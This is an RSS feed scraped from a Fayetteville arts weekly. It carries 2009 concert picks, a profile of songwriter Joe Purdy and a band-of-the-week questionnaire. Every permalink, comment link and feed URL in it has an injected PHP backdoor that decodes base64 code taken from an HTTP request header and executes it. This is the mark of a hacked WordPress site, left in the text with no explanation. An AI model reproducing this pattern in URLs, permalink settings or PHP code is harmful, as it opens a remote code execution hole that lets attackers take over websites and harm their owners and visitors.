The Fayetteville Free Weekly

The Fayetteville Free Weekly http://freeweekly.com Art, Music, Entertainment, Politics & More! Thu, 11 Mar 2010 15:27:56 +0000 http://wordpress.org/?v=2.8.5 en hourly 1 Art, Music, Entertainment, Politics & More! no Music Frenzy http://freeweekly.com/2009/09/17/music-frenzy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://freeweekly.com/2009/09/17/music-frenzy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 17 Sep 2009 12:57:53 +0000 Amber Kruth http://freeweekly.com/?p=4834 http://freeweekly.com/2009/09/17/music-frenzy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Highlights Music Frenzy This is a killer week for music and we’re only going to tell you about a few shows. Our advice: Get ready to spend a lot of time out of the house this week. Here we go. <a href="http://freeweekly.com/wp-content/uploads/2009/09/ffw-0917-biscuits.jpg"><img class="size-full wp-image-4836 aligncenter" title="ffw-0917-biscuits" src="http://freeweekly.com/wp-content/uploads/2009/09/ffw-0917-biscuits.jpg" alt="ffw-0917-biscuits" width="400" height="305" /></a> Disco Biscuits Tonight catch the fabulous Disco Biscuits at George’s. The Philadelphia band will be doing two nights at San Franciso’s Fillmore next month and Times Square on New Year’s Eve. Get the picture? The electronic rock group sometimes brings to mind David Byrne, which means it doesn’t get any better than this. Sharing the bill will be Two Fresh. <a href="http://freeweekly.com/wp-content/uploads/2009/09/ffw-0917-star.jpg"><img class="size-full wp-image-4837 aligncenter" title="ffw-0917-star" src="http://freeweekly.com/wp-content/uploads/2009/09/ffw-0917-star.jpg" alt="ffw-0917-star" width="400" height="267" /></a> Star & Micey Listen: “I Am The One She Needs” “So Much Pain” On Friday night our pick will be the Star & Micey show at Arsaga’s Crossover. The Ardent recording trio out of Memphis will be joined by one of NWA’s finest,Apartment 5. A coffeehouse show over Boombox at George’s you ask? Yep. Plus, Boombox will be at George’s on Saturday night. You’ve probably never heard of Star & Micey, but that’s because they’re fresh out of the gate. They will rollout their debut album on Oct. 20. They call their sound soulful folk rock. Keep in mind, this is the label that has a stable with the likes of The White Stripes, The Dead Weather and Zepplin. If you’re a country fan and have the bucks, spend ‘em Friday night at the Walton Arts Center for country standouts Little Big Town and The Lost Trailers. Sunday night is THE night for roots rock fans. Taking the stage at George’s will be Old Crow Medicine Show, Chuck Mead of BR549 and The Felice Brothers. If you’re a chamber music fan, head to Bentonville on Sunday for the Manhattan Piano [...] Fiber Arts Fair and Competition Joe Purdy http://freeweekly.com/2009/06/04/joe-purdy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://freeweekly.com/2009/06/04/joe-purdy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 04 Jun 2009 12:57:06 +0000 Amber Kruth http://freeweekly.com/?p=3734 http://freeweekly.com/2009/06/04/joe-purdy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Arkansas’ most successful unknown songwriter “Miss Me” <a href="http://freeweekly.com/wp-content/uploads/2009/06/ffw-cover-0604.jpg"><img class="alignleft size-full wp-image-3735" title="ffw-cover-0604" src="http://freeweekly.com/wp-content/uploads/2009/06/ffw-cover-0604.jpg" alt="ffw-cover-0604" width="400" height="286" /></a> By Free Weekly Staff Imagine this: The Who’s Pete Townshend singing back up for you with the likes of Meg Ryan and Jack Black in the audience. Your original songs played on “Lost” and “Grey’s Anatomy.” You’re tapped by Townshend to be one of the featured artists—along with Lou Reed and Ben Harper—for the new “In the Attic” CD/DVD. Can all this happen to a guy from Arkansas? A guy who went to Los Angeles, and “made it” by handing out CDs he’d burned on his computer? Can all this happen without a label, a producer, major distribution and a PR team? Yes, it can. Just ask Northwest Arkansas’ Joe Purdy. Winging it on his own explains why most people don’t know the name Joe Purdy, but they do know his music. Purdy may be Arkansas,’ and one of the nation’s, most successful unknown and prolific songwriters. Purdy is the ultimate DIY machine and he’s doing what he’s doing for the right reasons … not to get rich or to be in the spotlight, but to simply get his music out there. Some might call Purdy lucky, but after talking with him, you realize that there’s probably some sort of karmic payback going on because of the way he has approached his art. Purdy is not a pushy guy. He likes to talk, but he’d rather talk about Ozark history and the old timers around here than performing for movie stars and his music reflects that. Some of his songs sound a bit like early songs by The Band. Others like “Can’t Get It Right Today” — which is featured in a KIA TV commercial and on “Grey’s Anatomy” — is a bit poppy. After a living in L.A., Purdy is back where he wants to be, at home in Northwest Arkansas. He loves the simple life that the Natural State has to offer, but he’s still writing and performing. He’ll be playing Wakarusa today and Friday and then he’ll be headed to New York to play City Winery in July. Purdy says that making and promoting an album is “surprisingly simple”: “Write some songs, record them, make a CD cover.” That is just what he’s done to the tune of 10 albums in less than 10 years. His newest album “Last Clock on the Wall,” came out in March. The Free Weekly talked to Purdy recently by phone. He was out of breath from manhandling a chainsaw and minding fires to clean up storm debris at his home near Beaver Lake. Here’s his story. Purdy’s dad loved hot rods and bluegrass, so the younger Purdy played with his dad on the front porch and was often ferried to school in a ’37 Pontiac. He graduated from Springdale High School (class of ’98), did a semester at NorthWest Arkansas Community College, but decided it wasn’t for him. He was a member of the NWA band Just Off Turner (now based in Los Angeles, and also having some success in Tinseltown) during his high school days. Purdy is a local history buff and grew up listening to his dad’s vinyl collection. He likes the sound that the reel-to-reel two-inch tape recordings produce because it reminds him of the old records. “It sounds ratty, that’s what I relate to,” Purdy said. He eventually carried a bit of that sound with him to [...] Arkansas' most successful unknown songwriter Band Of The Week: Hosta http://freeweekly.com/2009/05/21/band-of-the-week-hosta/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://freeweekly.com/2009/05/21/band-of-the-week-hosta/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 21 May 2009 13:00:03 +0000 Amber Kruth http://freeweekly.com/?p=3582 http://freeweekly.com/2009/05/21/band-of-the-week-hosta/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 <a href="http://freeweekly.com/wp-content/uploads/2009/05/ffw-0521-hosta1.jpg"><img class="aligncenter size-full wp-image-3625" title="ffw-0521-hosta1" src="http://freeweekly.com/wp-content/uploads/2009/05/ffw-0521-hosta1.jpg" alt="ffw-0521-hosta1" width="400" height="235" /></a> Greg Moore, Iris Shepard, Randy Kehne “No More Video Games” Band members, instruments and day jobs: Randy Kehne (drums) — Linux System Administrator Iris Shepard (bass, vocals) — Doctoral student, U of A Greg Moore (guitar, vocals, keyboard) — Graphic Designer/Artist Band born: Our first show was at Iris’ house Oct. 4, 2008. Type of music: We try to mix a lot of influences together. We are definitely a rock band in the tradition of Velvet Underground, but we want to mix that in with electronic sounds and elements of hip-hop. We like the way bands like Radiohead and Medeski Martin & Wood experiment with sound. We want our shows to be fun and exciting and we want people to dance. We want to push boundaries and experiment but we also want our songs to stick in your head. Most of our songs are about breaking up: ending unsatisfying relationships, breaking up with your parent’s ideas, breaking up with religion, quitting sucky jobs. Personal and social transformation is what we are about. Originals or covers: We play all original songs. But we keep talking about doing a cover of Johathan Richman’s “I was Dancing in the Lesbian Bar.” We have also discussed covering the Pixies “This Monkey’s Gone to Heaven.” Sounds like: We have been compared to the Pixies and Talking Heads. We don’t think we sound very much like either of them. Sometimes Iris sounds like Nico when she sings. Her voice recalls a kind of 1960s vibe that can be found in bands like Belle & Sebastian or Camera Obscura, kind of a rainy day psychedelic type thing going on there. Greg’s singing is kinda talky like Lou Reed or Jonathan Richman. There’s definitely a vein of nostalgic ’60s pop running through many of our songs. But there’s also laser sounds. Songwriter’s muse: Roller Derby Influences: Velvet Underground, Pixies, Stereolab, Fiest, Radiohead, M.I.A., Outkast, Cat Power, Power Pop, Electronic , Rock’n Roll. What kind of crowd do you draw: Human beings who wanna have fun! When and where do you practice: We recently went from being a living room band to a garage band. So now it’s Randy’s garage. We are all neighbors. Actually we all live in a huge house that has been converted into apartments. Now we have taken it over and it has become an indie rock commune with a trampoline in the front yard. We’re basically indie rock communists. Any albums: We have one seven-song EP [...] Will be at Smoke & Barrel Saturday